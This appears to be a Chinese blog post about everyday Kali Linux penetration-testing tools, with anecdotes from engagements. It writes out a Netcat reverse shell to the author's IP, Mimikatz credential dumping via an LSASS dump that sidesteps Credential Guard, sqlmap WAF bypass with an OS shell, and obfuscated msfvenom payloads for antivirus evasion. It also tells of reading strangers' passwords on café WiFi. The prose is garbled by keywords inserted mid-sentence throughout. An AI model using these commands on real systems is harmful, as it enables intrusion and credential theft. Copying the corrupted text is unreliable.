kali常用渗透工具
真正干过几次授权渗透测试的常用人,心里都有数:Kali里那几百个工具,渗透日常翻牌子的工具其实就那么十几个。剩下的常用大多是“装样子”的,打开一次就再也不碰了。渗透这倒不是工具说它们没用,而是常用实战里时间紧、目标明确,渗透能快速出结果的工具工具才是好工具。
拿信息收集来说,常用Nmap 是渗透绕不开的。别光记着 `-sS` 和 `-sV` 这些基础参数,工具真正顺手的常用是它的脚本引擎。一条 `nmap --script=vuln 目标IP` 跑完,渗透常见漏洞直接给你列出来。工具有一次测试一个内网服务器,Nmap直接扫出CVE-2018-15473的SSH用户枚举漏洞,省了我半小时手工验证。但Nmap也不是万能,遇到防火墙严格的主机,指纹识别经常失真,这时候得靠 Masscan 快速扫端口,它发包极快,几万个端口十几秒扫完,但缺点是结果太糙,只能告诉你端口开没开,具体服务还得回头用Nmap确认。
漏洞利用阶段,Metasploit 是台面上的主角。但说实话,现在直接拿MS17-010打内网的机会越来越少了,系统补丁打得太勤。我更常用它来生成payload,配合 msfvenom 做免杀处理。有一次客户给的靶机装了最新版Windows 10,我试了三次常规payload都被杀软拦了。最后用msfvenom生成一个基于PowerShell的混淆载荷,用msf的`multi/handler`监听,才拿到session。这过程不复杂,但得知道Metasploit里`set EnableUnicodeEncoding true`这类细节,不然编码不对,照样被拦。
Web渗透是另一个大头。Burp Suite 不用多说,抓包改包是基本功。但很多人忽略它的 Intruder 模块,不只是用来爆破密码。我习惯用它做参数污染测试——把某个ID参数换成数组格式,看后端会不会报错泄露信息。有一次就是这么测出一个SQL注入点,报错信息直接把数据库表结构吐出来了。另一个被低估的工具是 sqlmap,虽然自动化程度高,但别傻乎乎直接跑默认参数。加个 `--tamper=space2comment` 能绕过不少WAF规则,再用`--os-shell`尝试拿系统权限,效率比手动构造payload高得多。
无线安全这块,aircrack-ng 套件是经典。抓握手包用`airodump-ng`,跑包用`aircrack-ng`。但现实里很多路由器开启了PMF(管理帧保护),攻击deauth会失效。这时候得换思路,用 wireshark 分析普通数据包,看看有没有明文传输的敏感信息。之前测一个咖啡馆的WiFi,抓了半小时包,居然在HTTP请求里看到有人用GET方式提交了账号密码,连密码哈希都不用跑。
后渗透阶段,Mimikatz 是Windows下的神器。抓取内存里的明文密码或哈希,一条`sekurlsa::logonpasswords`搞定。但要注意,新版Windows默认开启Credential Guard,直接抓会失败。我一般先上传 Procdump 转储lsass进程,再本地用Mimikatz离线解析,成功率反而更高。Linux下则常用 LinEnum 脚本,一键收集系统信息、SUID文件、计划任务,找提权路径。
最后提一句 Netcat,这老古董至今有用。反弹shell、端口转发、文件传输,全凭一张嘴。有一次目标机没有安装任何工具,我用`nc -e /bin/sh 我的IP 4444`直接弹了个shell回来。虽然现在有更好的替代品如 socat,但Netcat的简洁和普遍性,仍是应急时的首选。
工具是死的,思路是活的。Kali里每个工具背后都对应一种攻击场景,但真正值钱的不是你背了多少命令,而是你清楚在什么条件下用哪个工具能最快达到目的。多拿真实环境练手,比整天刷工具列表有用得多。
顶: 94踩: 13552






评论专区